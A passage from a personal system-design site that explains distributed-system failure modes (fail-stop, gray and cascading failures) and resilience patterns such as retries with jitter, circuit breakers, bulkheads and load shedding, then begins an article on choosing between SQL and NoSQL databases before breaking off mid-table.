- [Dynamo: Amazon's Highly Available Key-value Store](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf) - DeCandia et al. (2007). Vector clocks in production.
- [CockroachDB: The Resilient Geo-Distributed SQL Database](https://dl.acm.org/doi/pdf/10.1145/3318464.3386134) - Taft et al. (2020). HLC in distributed SQL.

#### Specifications

- [RFC 5905 - Network Time Protocol Version 4](https://datatracker.ietf.org/doc/html/rfc5905) - NTP specification.
- [RFC 9562 - Universally Unique IDentifiers (UUIDs)](https://datatracker.ietf.org/doc/html/rfc9562) - UUID specification including v7.
- [IEEE 1588 - Precision Time Protocol](https://standards.ieee.org/ieee/1588/6825/) - PTP specification.

#### Engineering Blog Posts

- [Announcing Snowflake](https://blog.twitter.com/engineering/en_us/a/2010/announcing-snowflake) - Twitter Engineering (2010). Original Snowflake ID design.
- [How Discord Stores Billions of Messages](https://discord.com/blog/how-discord-stores-billions-of-messages) - Discord Engineering (2017). Snowflake IDs in production.
- [Living Without Atomic Clocks](https://www.cockroachlabs.com/blog/living-without-atomic-clocks/) - CockroachDB (2016). HLC implementation details.

#### Books

- [Designing Data-Intensive Applications](https://dataintensive.net/) - Kleppmann (2017). Chapter 8 covers distributed time extensively.

---

## Failure Modes and Resilience Patterns

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/failure-modes-and-resilience
**Category:** System Design / System Design Fundamentals
**Description:** Distributed systems fail in complex, often surprising ways. This article covers the taxonomy of failures—from clean crashes to insidious gray failures—and the resilience patterns that mitigate them. The focus is on design decisions: when to use each pattern, how to tune parameters, and what trade-offs you’re accepting.

# Failure Modes and Resilience Patterns

Distributed systems fail in complex, often surprising ways. This article covers the taxonomy of failures—from clean crashes to insidious gray failures—and the resilience patterns that mitigate them. The focus is on design decisions: when to use each pattern, how to tune parameters, and what trade-offs you're accepting.

<figure>

![Failure modes flow through detection mechanisms to mitigation patterns, with blast radius isolation as the outer defense layer.](./failure-modes-flow-through-detection-mechanisms-to-mitigation-patterns-with-blas.svg)

<figcaption>Failure modes flow through detection mechanisms to mitigation patterns, with blast radius isolation as the outer defense layer.</figcaption>
</figure>

## Abstract

Failures in distributed systems form a spectrum from fail-stop (clean crash, easy to detect) to Byzantine (arbitrary behavior, hard to detect). The most dangerous are **gray failures**: partial degradation that passes health checks but causes cascading impact. Detection requires differential observability—comparing perspectives across system components.

Resilience patterns form a layered defense:

1. **Timeouts** bound waiting time but require careful tuning (too short = false positives, too long = resource exhaustion)
2. **Retries** recover from transient failures but can cause retry storms that amplify outages
3. **Circuit breakers** stop calling failing dependencies but need threshold tuning per dependency
4. **Bulkheads** isolate failures to prevent cascade but reduce resource efficiency
5. **Load shedding** protects capacity but requires priority decisions

The key insight: every resilience pattern has failure modes of its own. Circuit breakers can flap. Retry budgets can be exhausted by one bad actor. Bulkheads can be sized wrong. Resilience engineering is about layering imperfect defenses, not finding perfect solutions.

## Failure Mode Taxonomy

Understanding failure modes is prerequisite to designing resilience. The classic taxonomy from distributed systems literature:

### Fail-Stop Failures

The process crashes and stays crashed. Other processes can detect the failure (eventually) through timeout.

**Characteristics:**

- Clean, detectable, recoverable
- Process halts and performs no further actions
- Detected via heartbeat timeout

**Real-world example:** An OOM-killed container. Kubernetes detects the failure through liveness probe timeout, restarts the pod. Recovery is straightforward.

**Design implication:** If you can guarantee fail-stop semantics (crash rather than corrupt), recovery is simpler. This is why many systems prefer crashing on inconsistency detection over attempting recovery.

### Crash-Recovery Failures

The process crashes but may restart with partial state. More realistic than fail-stop for real systems.

**Characteristics:**

- Process may restart with stale or partial state
- Need to distinguish "slow" from "dead"
- Requires stable storage for state recovery

**Real-world example:** A database replica crashes mid-replication, restarts, and must replay the Write-Ahead Log (WAL) to reach a consistent state. During replay, it may reject reads or serve stale data depending on configuration.

**Design implication:** Recovery procedures must be idempotent. Operations that were in-flight at crash time may re-execute.

### Omission Failures

The process fails to send or receive messages but otherwise operates correctly.

**Characteristics:**

- **Send omission:** Process fails to send a message it should send
- **Receive omission:** Process fails to receive a message sent to it
- Often caused by full queues, network issues, or resource exhaustion

**Real-world example:** A message queue producer drops messages when the broker is slow (send omission). The producer continues operating, health checks pass, but data is being lost silently.

**Design implication:** Critical paths need acknowledgment and retry. Fire-and-forget is only acceptable for best-effort telemetry.

### Timing Failures

The process responds, but not within the expected time bound.

**Characteristics:**

- Response is correct but late
- Violates performance SLAs
- May be indistinguishable from omission if timeout fires first

**Real-world example:** A database query that normally takes 10ms takes 5 seconds due to lock contention. The caller times out at 1 second, assumes failure, retries—potentially worsening the contention.

**Design implication:** Timeouts must account for the difference between "failed" and "slow." Speculative execution (hedged requests) can help for idempotent operations.

### Byzantine Failures

The process exhibits arbitrary behavior—including malicious or irrational responses.

**Characteristics:**

- Can send conflicting information to different parties
- Can lie about its state
- Requires BFT (Byzantine Fault Tolerant) protocols to handle

**Real-world example:** A corrupted replica returns incorrect data that passes format validation but has wrong values. Or a compromised node in a blockchain network attempts double-spending.

**Design implication:** Byzantine tolerance requires 3f+1 replicas to tolerate f failures and is expensive. Most internal systems assume non-Byzantine failures (crash-only model) and rely on other controls (authentication, checksums) for integrity.

### Gray Failures

**The most dangerous failure mode in production systems.** Introduced by Microsoft Research in their 2017 paper "Gray Failure: The Achilles' Heel of Cloud-Scale Systems."

**Characteristics:**

- Partial degradation that evades health checks
- Different observers see different health states
- Often manifests as elevated latency, increased error rate on specific paths, or degraded throughput

**Why gray failures are dangerous:**

1. **Health checks pass:** The failing component responds to synthetic probes
2. **Partial impact:** Only certain request types or users affected
3. **Cascading potential:** Slow responses tie up caller resources
4. **Detection delay:** May take minutes to hours to confirm

**Real-world examples:**

- **AWS S3 outage (2017):** An operator command removed more capacity than intended. S3 continued responding but with elevated latency. Health checks passed. Cascading failures affected services depending on S3.
- **Cloudflare outage (2019):** A WAF rule caused CPU exhaustion. Health checks using simple endpoints passed while actual traffic was failing.
- **Meta/Facebook outage (2021):** BGP withdrawal caused DNS servers to become unreachable. Internal tools for recovery also depended on DNS.

**Detection requires differential observability:**

```
Observer A (health check): "Component is healthy"
Observer B (real traffic): "Requests are timing out"
Observer C (metrics): "P99 latency 10x normal"

Gray failure = divergence between observer perspectives
```

### Cascading Failures

One component's failure triggers failures in dependent components, amplifying the initial impact.

**Cascade mechanisms:**

| Mechanism               | Description                                  | Example                                                   |
| ----------------------- | -------------------------------------------- | --------------------------------------------------------- |
| **Resource exhaustion** | Failing component ties up caller resources   | Slow DB → thread pool exhaustion → upstream timeout       |
| **Retry storms**        | Failed requests trigger coordinated retries  | Service restart → all clients retry simultaneously        |
| **Load redistribution** | Remaining capacity receives diverted traffic | Node failure → remaining nodes overloaded → more failures |
| **Dependency chain**    | Failure propagates through call graph        | Auth service down → all authenticated endpoints fail      |

**Real-world example:** Amazon's 2004 "retry storm" incident. A service experienced increased latency. Callers retried. The retries increased load, worsening latency. More retries. The positive feedback loop took down multiple services.

## Detection Mechanisms

### Heartbeat and Liveness

**Mechanism:** Periodic messages prove the sender is alive.

**Design choices:**

| Parameter    | Consideration                                      |
| ------------ | -------------------------------------------------- |
| **Interval** | Shorter = faster detection, more overhead          |
| **Timeout**  | timeout = interval × missed_count + network_jitter |
| **Payload**  | Include load metrics for proactive detection       |

**Common mistake:** Using heartbeat interval = timeout. A single delayed heartbeat triggers false positive. Use at least 2-3 missed heartbeats before declaring failure.

**Real-world tuning (Cassandra):** Default `phi_convict_threshold` of 8 corresponds to ~10-12 seconds detection with default 1-second gossip interval. Tuned lower (6) for faster detection in low-latency networks.

### Health Checks

**Shallow vs. deep health checks:**

| Type                   | What It Tests                  | Failure Modes                                     |
| ---------------------- | ------------------------------ | ------------------------------------------------- |
| **Shallow** (TCP/HTTP) | Process is running, port open  | Misses gray failures, resource exhaustion         |
| **Deep** (functional)  | Critical path works end-to-end | Expensive, may timeout, can mask partial failures |
| **Dependency**         | Checks downstream connectivity | Can cause cascade if dependency is slow           |

**Design decision:** Separate liveness from readiness.

- **Liveness:** "Should this process be restarted?" Only fail if the process is fundamentally broken.
- **Readiness:** "Should traffic be routed here?" Fail if dependencies are unavailable or load is too high.

**Anti-pattern:** Health check that calls the database. If the DB is slow, health checks timeout, load balancer removes instance, traffic moves to other instances, they also become slow from increased load → cascade.

### Differential Observability

**Detecting gray failures requires multiple perspectives:**

1. **Active probing:** Synthetic requests from multiple vantage points
2. **Passive observation:** Real traffic metrics (latency, error rate)
3. **Internal instrumentation:** Queue depths, thread pool utilization
4. **External correlation:** Compare metrics across components

**Implementation pattern:**

```
// Simplified gray failure detection
grayFailureScore =
  healthCheckSuccess × 0.2 +     // Low weight: often passes during gray failure
  errorRateBelowThreshold × 0.3 +
  p99LatencyNormal × 0.3 +
  throughputNormal × 0.2

// Flag gray failure when:
// - Health checks pass
// - But other signals are degraded
if (healthCheckSuccess && grayFailureScore < 0.7) {
  alertGrayFailure()
}
```

## Resilience Patterns

### Timeouts

Every network call needs a timeout. Without one, a hung dependency can exhaust caller resources indefinitely.

**Design choices:**

#### Static Timeouts

**Mechanism:** Fixed timeout value, configured per operation.

**Best when:**

- Latency distribution is well-understood and stable
- Operation has clear SLA requirements
- Simple is preferred over optimal

**Setting static timeouts:**

```
timeout = p99_latency × safety_factor + network_jitter

Example:
- p99 latency: 100ms
- Safety factor: 2-3x
- Network jitter: 10ms
- Timeout: 100ms × 2.5 + 10ms = 260ms (round to 300ms)
```

**Trade-offs:**

- ✅ Simple to understand and debug
- ✅ Predictable behavior
- ❌ Doesn't adapt to changing conditions
- ❌ May be too aggressive during GC pauses or too lenient during failures

#### Adaptive Timeouts

**Mechanism:** Timeout adjusts based on observed latency.

**Best when:**

- Latency varies significantly (e.g., batch processing, variable workloads)
- Operations can tolerate variability
- Team can operate more complex logic

**Implementation approaches:**

| Approach             | Mechanism                                     | Example                       |
| -------------------- | --------------------------------------------- | ----------------------------- |
| **Percentile-based** | Timeout = p99 + buffer                        | Netflix's approach: p99 × 1.5 |
| **Moving average**   | Exponentially weighted MA of recent latencies | gRPC's adaptive approach      |
| **Hedging**          | Start second request after p50 latency        | Google's "The Tail at Scale"  |

**Trade-offs:**

- ✅ Adapts to changing conditions
- ✅ Can be more aggressive when service is healthy
- ❌ More complex to debug
- ❌ Can oscillate under certain conditions
- ❌ Cold start problem: no historical data

**Real-world example (gRPC):** gRPC's wait-for-ready semantics include exponential backoff with jitter. Initial timeout is configurable; subsequent attempts use adaptive backoff capped at a maximum.

### Retries

Retries recover from transient failures but can amplify problems when failures are persistent.

**Design choices:**

#### Retry with Exponential Backoff

**Mechanism:** Each retry waits longer than the previous.

```
wait_time = min(base_delay × 2^attempt, max_delay)

Example (AWS SDK defaults):
- Base delay: 100ms
- Max delay: 20 seconds
- Attempt 1: 100ms
- Attempt 2: 200ms
- Attempt 3: 400ms
- Attempt 4: 800ms
```

**Why exponential:** Linear backoff can still cause coordinated load. Exponential spreads retries over time, reducing coincident retry probability.

#### Jitter

**Critical addition to backoff:** Without jitter, clients that fail together retry together.

**Jitter strategies:**

| Strategy                | Formula                                            | Use Case                               |
| ----------------------- | -------------------------------------------------- | -------------------------------------- |
| **Full jitter**         | random(0, calculated_delay)                        | Default choice, maximum spread         |
| **Equal jitter**        | calculated_delay/2 + random(0, calculated_delay/2) | When you need some minimum wait        |
| **Decorrelated jitter** | random(base, previous_delay × 3)                   | AWS recommendation, even better spread |

**AWS's analysis (Marc Brooker's blog):** Decorrelated jitter showed best results in their simulations, completing work 40% faster than exponential backoff without jitter during contention.

#### Retry Budgets

**Problem:** Per-request retries can multiply load by the retry factor.

```
Normal: 100 requests/sec
With 3 retries: Up to 400 requests/sec during failure
```

**Solution:** Retry budgets limit total retry rate system-wide.

```
retry_budget = (total_requests × budget_ratio) - current_retries

Example (Envoy default):
- Budget ratio: 20%
- If baseline is 100 req/s, allow max 20 retries/s
- Once budget exhausted, no more retries until it refills
```

**Real-world implementation (Envoy):** Envoy implements retry budgets at the cluster level. Default is 20% of active requests can be retries. Prevents any single misbehaving upstream from consuming all retry capacity.

#### Retry Classification

Not all errors should be retried:

| Response                  | Retry?                   | Rationale                              |
| ------------------------- | ------------------------ | -------------------------------------- |
| **5xx Server Error**      | Yes, with backoff        | Transient; server may recover          |
| **429 Too Many Requests** | Yes, with longer backoff | Honor Retry-After header if present    |
| **408 Request Timeout**   | Yes, with backoff        | May be transient                       |
| **4xx Client Error**      | No                       | Request is malformed; retry won't help |
| **Connection refused**    | Yes, limited             | Server may be restarting               |
| **Connection reset**      | Yes                      | Network blip                           |
| **SSL handshake failure** | No                       | Certificate/config issue               |

**Idempotency requirement:** Only retry operations that are safe to repeat. POST requests that create resources need idempotency keys.

### Circuit Breaker

**Mechanism:** Stop calling a failing dependency, give it time to recover.

![Diagram](./diagram-1.svg)

**States:**

| State         | Behavior                                                  |
| ------------- | --------------------------------------------------------- |
| **Closed**    | Normal operation; requests pass through; failures counted |
| **Open**      | Requests fail immediately; no calls to dependency         |
| **Half-Open** | Limited probe requests allowed; success resets to Closed  |

**Design decisions:**

#### Failure Counting Strategy

| Strategy        | Mechanism                         | Best For                               |
| --------------- | --------------------------------- | -------------------------------------- |
| **Count-based** | Open after N failures             | Simple, predictable                    |
| **Rate-based**  | Open when error rate > X%         | Handles varying traffic                |
| **Consecutive** | Open after N consecutive failures | Avoids flapping on intermittent errors |

**Real-world example (Hystrix, now deprecated but patterns live on):**

```
// Hystrix default configuration
circuitBreaker.requestVolumeThreshold = 20  // Min requests before evaluation
circuitBreaker.errorThresholdPercentage = 50  // Error rate to trip
circuitBreaker.sleepWindowInMilliseconds = 5000  // Time in Open before probe
```

#### Tuning Parameters

| Parameter            | Consideration                                                         |
| -------------------- | --------------------------------------------------------------------- |
| **Error threshold**  | Too low = flapping; too high = slow detection                         |
| **Volume threshold** | Prevents opening on low-traffic services                              |
| **Reset timeout**    | Too short = probe during ongoing failure; too long = delayed recovery |
| **Half-open probes** | Single probe is fragile; multiple probes add load                     |

**Anti-pattern:** Circuit breaker per request type on same dependency. If the dependency is down, it's down for all request types. Use per-dependency circuit breakers.

**Netflix's evolution:** Hystrix was deprecated in 2018. Netflix moved to adaptive systems (Concurrency Limits) that don't require manual threshold tuning. The adaptive approach measures actual latency and adjusts concurrency limits using TCP-like AIMD (Additive Increase, Multiplicative Decrease).

### Bulkhead

**Mechanism:** Isolate components so failure in one doesn't exhaust shared resources.

**Analogy:** Ship bulkheads prevent flooding in one compartment from sinking the entire ship.

**Design choices:**

#### Thread Pool Isolation

**Mechanism:** Separate thread pool per dependency.

```
Service A thread pool: 20 threads
Service B thread pool: 20 threads
Service C thread pool: 10 threads

If Service B hangs, only its 20 threads are blocked.
Service A and C continue operating.
```

**Trade-offs:**

- ✅ Strong isolation
- ✅ Failure is contained
- ❌ Thread overhead (each pool has threads)
- ❌ Under-utilization when traffic is uneven
- ❌ Context switching cost

#### Semaphore Isolation

**Mechanism:** Limit concurrent requests via semaphore; requests run on caller's thread.

**Trade-offs:**

- ✅ No thread overhead
- ✅ Lower latency (no queue/handoff)
- ❌ If dependency is slow, caller thread is blocked
- ❌ Timeout can't interrupt blocked thread

**When to use which:**

| Isolation Type  | Use When                                           |
| --------------- | -------------------------------------------------- |
| **Thread pool** | Dependency is unreliable; need timeout enforcement |
| **Semaphore**   | Dependency is reliable; latency is critical        |

#### Connection Pool Limits

**Mechanism:** Limit connections per downstream service.

```
Database connection pool: max 50
Cache connection pool: max 100
External API: max 20
```

**Sizing consideration:** Total connections across all instances shouldn't exceed dependency's capacity.

```
Instance count: 10
Per-instance connections: 50
Total: 500 connections

Database max_connections: 500 → OK
Database max_connections: 200 → Risk of connection exhaustion
```

### Load Shedding

**Mechanism:** Reject excess load to protect capacity for requests that can be served.

**Design choices:**

#### LIFO Queue Dropping

**Mechanism:** When queue is full, drop oldest requests (they've likely already timed out at caller).

**Real-world example (Amazon):** Amazon uses LIFO processing for some services. Requests that have been waiting longest are most likely to have callers that have already timed out—processing them wastes capacity.

#### Priority-Based Shedding

**Mechanism:** Classify requests by importance; shed lower priority first.

| Priority     | Examples                           | Shed First?     |
| ------------ | ---------------------------------- | --------------- |
| **Critical** | Health checks, auth tokens         | Never (or last) |
| **High**     | Paid user requests, real-time APIs | Last resort     |
| **Normal**   | Standard requests                  | When overloaded |
| **Low**      | Analytics, batch jobs              | First           |

**Implementation:** Priority typically in request header or derived from path/user.

#### Admission Control

**Mechanism:** Reject requests at the edge before they consume resources.

**Approaches:**

| Approach         | Mechanism                             |
| ---------------- | ------------------------------------- |
| **Token bucket** | Allow N requests per time window      |
| **Leaky bucket** | Smooth bursty traffic                 |
| **Adaptive**     | Adjust limit based on current latency |
| **Client-based** | Per-client quotas                     |

**Google's CoDel (Controlled Delay):** Admission control based on queue latency rather than queue length. If requests are sitting in queue too long (target: 5ms), start dropping. This adapts automatically to varying service capacity.

### Fallback Strategies

When the primary path fails, what's the backup?

| Strategy           | Description               | Trade-off                       |
| ------------------ | ------------------------- | ------------------------------- |
| **Cache fallback** | Return stale cached data  | Data may be outdated            |
| **Degraded mode**  | Return partial result     | Feature may be incomplete       |
| **Static default** | Return hardcoded response | May not be appropriate for user |
| **Fail silent**    | Return empty, continue    | Data loss may go unnoticed      |
| **Fail fast**      | Return error immediately  | Bad UX but honest               |

**Design decision:** Fallback appropriateness depends on the use case:

- **Product catalog:** Cache fallback is fine; products don't change every second
- **Account balance:** Fail fast; showing stale data causes real harm
- **Recommendations:** Degraded mode (show popular items) is reasonable
- **Authentication:** No fallback; either authorized or not

**Real-world example (Netflix):** Netflix's fallback hierarchy for recommendations:

1. Personalized recommendations (primary)
2. Genre-based recommendations (degraded)
3. Top 10 in region (more degraded)
4. Static curated list (last resort)

Each level provides worse UX but maintains core functionality.

## Blast Radius Isolation

Beyond individual resilience patterns, architectural decisions determine how far failures spread.

### Cell-Based Architecture

**Mechanism:** Divide the system into independent cells, each serving a subset of users.

**AWS's approach:** Many AWS services use cell-based architecture. Each cell:

- Has independent capacity and resources
- Serves a subset of customers (by account ID hash)
- Can fail without affecting other cells

**Characteristics:**

| Aspect           | Cell Architecture                   |
| ---------------- | ----------------------------------- |
| **Blast radius** | Limited to single cell (% of users) |
| **Scaling**      | Add more cells                      |
| **Complexity**   | Cell-aware routing required         |
| **Efficiency**   | Some redundancy across cells        |

**Real-world example (AWS DynamoDB):** DynamoDB uses partition-based isolation. Each partition is a cell. A hot partition affects only data in that partition; other partitions continue normally.

### Shuffle Sharding

**Mechanism:** Assign each customer to a random subset of resources.

**Why it works:** With pure sharding, a bad actor on shard 3 affects all customers on shard 3. With shuffle sharding, the probability that two customers share all resources is exponentially small.

**Math:**

```
Workers: 8
Workers per customer: 2
Combinations: C(8,2) = 28

Probability two random customers share both workers: 1/28 ≈ 3.6%
```

**Scaling benefit:** Adding more workers exponentially reduces collision probability.

**Real-world example (AWS Route 53):** Route 53 uses shuffle sharding for DNS nameservers. Each customer gets 4 nameservers from a pool of hundreds. A DDoS on one customer's nameservers has minimal probability of affecting another customer's full set.

### Zone and Region Isolation

**Design choices:**

| Scope            | Use Case               | Trade-off                                   |
| ---------------- | ---------------------- | ------------------------------------------- |
| **Single zone**  | Minimize latency       | No zone failure tolerance                   |
| **Multi-zone**   | Survive zone failure   | Cross-zone data transfer cost               |
| **Multi-region** | Survive region failure | Complexity, latency, consistency challenges |

**Capacity planning for zone failure:**

```
Required capacity: 1000 req/s
Zones: 3
Per-zone capacity if any zone must handle full load: 1000 req/s each
Total provisioned: 3000 req/s (3x over-provisioned)

Alternative: Accept degradation during zone failure
Per-zone capacity: 500 req/s
Normal operation: 1500 req/s capacity, 67% headroom
During zone failure: 1000 req/s capacity, 0% headroom
```

## Chaos Engineering

### Principles

Chaos engineering is **empirical validation of system resilience**. The goal is to discover weaknesses before they manifest in production incidents.

**Core process:**

1. Define steady state (what "normal" looks like)
2. Hypothesize that steady state continues during failure
3. Inject failure
4. Observe if hypothesis holds
5. Fix discovered weaknesses

**Chaos is not:** Random destruction in production. It's controlled experimentation with blast radius limits.

### Failure Injection Types

| Category           | Examples                                                |
| ------------------ | ------------------------------------------------------- |
| **Infrastructure** | VM termination, disk failure, network partition         |
| **Application**    | Process crash, memory exhaustion, CPU contention        |
| **Network**        | Latency injection, packet loss, DNS failure             |
| **Dependency**     | Database slowdown, cache failure, third-party API error |

### Tools and Approaches

| Tool               | Scope          | Approach                        |
| ------------------ | -------------- | ------------------------------- |
| **Chaos Monkey**   | Instance       | Randomly terminates instances   |
| **Chaos Kong**     | Region         | Simulates entire region failure |
| **Latency Monkey** | Network        | Injects artificial latency      |
| **AWS FIS**        | AWS resources  | Managed fault injection         |
| **Gremlin**        | Multi-platform | Commercial chaos platform       |
| **LitmusChaos**    | Kubernetes     | CNCF chaos project              |

### Game Days

Scheduled chaos exercises with teams prepared to observe and respond.

**Netflix's approach:**

1. **Announce:** Teams know chaos is happening (builds confidence)
2. **Define scope:** Which services, what failures
3. **Establish abort criteria:** When to stop the experiment
4. **Execute:** Run chaos scenario
5. **Observe:** Monitor dashboards, alerts, user impact
6. **Debrief:** Document findings, prioritize fixes

**Progression:**

1. Start in non-production (staging/dev)
2. Graduate to production during low-traffic periods
3. Eventually run during peak (Netflix runs Chaos Monkey continuously)

**Real-world example (AWS):** AWS runs "Game Days" internally where teams deliberately break dependencies to validate runbooks and recovery procedures. Findings feed back into service design.

## Common Pitfalls

### 1. Retry Without Backoff

**The mistake:** Immediate retry on failure.

**Why it happens:** Developer thinks "if it failed, try again immediately."

**The consequence:** Retry storm. A service that failed under load receives 3x the load from retries, guaranteeing it stays down.

**The fix:** Always use exponential backoff with jitter. Consider retry budgets.

### 2. Timeout Longer Than Caller's Timeout

**The mistake:** Service A calls Service B with 5s timeout. Service B calls Service C with 10s timeout.

**Why it happens:** Each team sets timeouts independently.

**The consequence:** Service B may wait 10s for C, but A has already timed out at 5s. B's work is wasted.

**The fix:** Propagate deadline through the call chain. Each service's timeout = min(remaining_deadline, own_timeout).

### 3. Health Check That Masks Gray Failure

**The mistake:** Health check is a simple "ping" endpoint that always returns 200.

**Why it happens:** Simplest health check to implement.

**The consequence:** Gray failures go undetected. Service continues receiving traffic despite being degraded.

**The fix:** Health checks should test critical path. But be careful: deep health checks can cause cascading failures. Use readiness probes that check dependencies, liveness probes that don't.

### 4. Circuit Breaker That Never Opens

**The mistake:** Error threshold too high or volume threshold never reached.

**Why it happens:** Defaults may not match your traffic patterns.

**The consequence:** Circuit breaker provides no protection; might as well not exist.

**The fix:** Tune based on actual traffic. Log circuit breaker state transitions. Alert on unexpected closed→open transitions.

### 5. Bulkhead Sized Wrong

**The mistake:** Thread pool of 100 for a dependency that can handle 10 concurrent requests.

**Why it happens:** Bulkhead sized for expected traffic, not dependency capacity.

**The consequence:** Bulkhead allows 100 requests through; dependency overwhelmed.

**The fix:** Size bulkheads to dependency capacity, not caller expectations.

### 6. Fallback That Depends on the Same Failure

**The mistake:** Primary path calls Service A. Fallback also calls Service A (different endpoint).

**Why it happens:** Fallback reuses same client/connection.

**The consequence:** If Service A is down, both primary and fallback fail.

**The fix:** Fallback must be independent of primary failure. Use cache, static data, or different service.

**Real-world example (Meta outage, 2021):** Engineers couldn't access internal tools to fix the BGP issue because internal tools depended on the same DNS/network that was down. Recovery required physical access to data centers.

## Conclusion

Failure handling is not a feature to add later—it's a fundamental design concern. Key principles:

1. **Assume failure:** Every dependency will fail. Design for it.
2. **Detect quickly:** Gray failures are the hardest; use differential observability.
3. **Contain blast radius:** Bulkheads, cells, and shuffle sharding limit impact.
4. **Degrade gracefully:** Fallbacks should provide value even when degraded.
5. **Recover automatically:** Self-healing > operator intervention.
6. **Validate continuously:** Chaos engineering proves resilience; don't just hope.

The goal isn't to prevent all failures—it's to ensure that when failures occur (and they will), the system degrades gracefully and recovers quickly.

## Appendix

### Prerequisites

- Basic distributed systems concepts (network partitions, replication)
- Familiarity with microservice architecture
- Understanding of latency percentiles (p50, p99)

### Summary

- **Failure taxonomy:** Fail-stop < crash-recovery < omission < timing < Byzantine. Gray failures are the most dangerous—partial degradation that evades health checks.
- **Detection:** Differential observability (multiple perspectives) catches gray failures that single health checks miss.
- **Resilience patterns:** Timeouts → retries (with backoff + jitter + budgets) → circuit breakers → bulkheads → load shedding → fallbacks. Layer them.
- **Blast radius:** Cell architecture and shuffle sharding limit how many users are affected.
- **Chaos engineering:** Empirically validate resilience. Start small, graduate to production.
- **Key insight:** Every resilience pattern has its own failure modes. Defense in depth, not silver bullets.

### References

- Huang, P., et al. "Gray Failure: The Achilles' Heel of Cloud-Scale Systems" (HotOS 2017) - Microsoft Research paper defining gray failures
- Nygard, M. "Release It!" - Foundational book on stability patterns (circuit breaker, bulkhead originated here)
- Brooker, M. "Exponential Backoff and Jitter" - AWS Architecture Blog analysis of jitter strategies
- Dean, J. and Barroso, L. "The Tail at Scale" - Google paper on hedged requests and latency percentiles
- Netflix Tech Blog - Hystrix, resilience patterns, and chaos engineering
- Amazon Builders' Library - Timeouts, retries, and backoff; cell-based architecture
- Google SRE Book - Chapter on handling overload
- Kubernetes Documentation - Liveness and readiness probes design patterns

---

## Storage Choices: SQL vs NoSQL

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/storage-choices-sql-vs-nosql
**Category:** System Design / System Design Fundamentals
**Description:** Choosing between SQL and NoSQL databases based on data model requirements, access patterns, consistency needs, and operational constraints. This guide presents the design choices, trade-offs, and decision factors that drive storage architecture decisions in production systems.

# Storage Choices: SQL vs NoSQL

Choosing between SQL and NoSQL databases based on data model requirements, access patterns, consistency needs, and operational constraints. This guide presents the design choices, trade-offs, and decision factors that drive storage architecture decisions in production systems.

<figure>

![Storage paradigms map to different consistency and scaling defaults—but these are defaults, not absolutes. Modern systems blur these boundaries.](./storage-paradigms-map-to-different-consistency-and-scaling-defaults-but-these-ar.svg)

<figcaption>Storage paradigms map to different consistency and scaling defaults—but these are defaults, not absolutes. Modern systems blur these boundaries.</figcaption>

</figure>

## Abstract

The SQL vs NoSQL distinction has become less meaningful as databases converge: PostgreSQL handles JSON natively with GIN indexes, MongoDB supports ACID transactions across sharded clusters, and NewSQL databases (Spanner, CockroachDB) provide SQL semantics with horizontal scaling. The choice is no longer "relational vs not"—it's about matching **data model**, **access patterns**, and **consistency requirements** to specific database capabilities.

**The mental model:**

- **Data model drives choice**: Highly relational data with complex joins → SQL. Document aggregates accessed as units → document stores. Simple key-based lookups at massive scale → key-value stores.
- **Access patterns matter more than data size**: A 10TB dataset with simple key lookups is easier to scale than a 100GB dataset requiring complex ad-hoc joins.
- **Consistency is tunable, not binary**: Most databases offer per-operation consistency levels. DynamoDB, Cassandra, and even PostgreSQL replicas support both strong and eventual reads.
- **Operational capability constrains choices**: A database is only as good as your team's ability to operate it. Cassandra's flexibility comes with operational complexity that many teams underestimate.

**Key insight:** Start with your access patterns and consistency requirements, not with "SQL or NoSQL." The question is: "What queries must be fast, what consistency do they need, and how will this scale?"

## The Database Landscape

### SQL (Relational) Databases

Relational Database Management Systems (RDBMS) store data in tables with rows and columns, enforce schema via DDL, and use SQL for queries. The relational model, defined by Codd in 1970, emphasizes data normalization and referential integrity.

**Core characteristics:**

- **Strong schema enforcement**: Structure defined upfront, changes require migrations
- **ACID transactions by default**: Atomicity, Consistency, Isolation, Durability
- **Rich query language**: JOINs, aggregations, subqueries, window functions
- **Mature optimization**: Query planners with decades of refinement

**Major implementations:**

| Database   | Distinctive Feature                     | Scale Ceiling                      | Best For                         |
| ---------- | --------------------------------------- | ---------------------------------- | -------------------------------- |
| PostgreSQL | Extensibility (JSON, PostGIS, pgvector) | Single-node, read replicas         | General purpose, complex queries |
| MySQL      | Simplicity, replication maturity        | Read replicas, Vitess for sharding | Web applications, read-heavy     |
| Oracle     | Enterprise features, RAC clustering     | Very high (with cost)              | Enterprise, regulated industries |
| SQL Server | Windows integration, BI tools           | High                               | Microsoft ecosystems             |

### NoSQL Database Categories

NoSQL ("Not Only SQL") emerged in the late 2000s to address limitations of relational databases for specific workloads. The term encompasses fundamentally different data models.

#### Document Stores

Store data as JSON/BSON documents with nested structures. Schema-flexible: each document can have different fields.

**Core characteristics:**

- **Document as aggregate**: Related data co-located, reducing joins
- **Schema flexibility**: Add fields without migrations
- **Rich queries on nested data**: Query by any field path

**Major implementations:**

| Database          | Distinctive Feature                | Consistency                   | Best For                   |
| ----------------- | ---------------------------------- | ----------------------------- | -------------------------- |
| MongoDB           | Full-featured, multi-document ACID | Tunable (eventually → strong) | General document workloads |
| Couchbase         | N1QL (SQL-like), memory-first      | Tunable                       | Caching + persistence      |
| Amazon DocumentDB | MongoDB-compatible, managed        | Strong within region          | AWS-native document apps   |

#### Key-Value Stores

Simplest model: store and retrieve values by key. No query capability beyond key lookup.

**Core characteristics:**

- **O(1) lookups**: Hash-based access, predictable latency
- **No schema**: Value is opaque blob
- **Extreme throughput**: Minimal parsing overhead

**Major implementations:**

| Database        | Distinctive Feature                             | Persistence        | Best For                               |
| --------------- | ----------------------------------------------- | ------------------ | -------------------------------------- |
| Redis           | Rich data structures (lists, sets, sorted sets) | Optional (RDB/AOF) | Caching, session storage, leaderboards |
| Memcached       | Multi-threaded, simple                          | None               | Pure caching                           |
| Amazon DynamoDB | Managed, auto-scaling                           | Durable            | Serverless, variable-load apps         |
| etcd            | Raft consensus, watch API                       | Durable            | Configuration, service discovery       |

#### Wide-Column Stores

Column families with sparse columns per row. Optimized for writes and scans over large datasets.

**Core characteristics:**

- **Column families**: Group related columns, access efficiently
- **Sparse storage**: Rows can have different columns
- **Write-optimized**: LSM trees, append-only writes

**Major implementations:**

| Database         | Distinctive Feature                         | Consistency                   | Best For                                 |
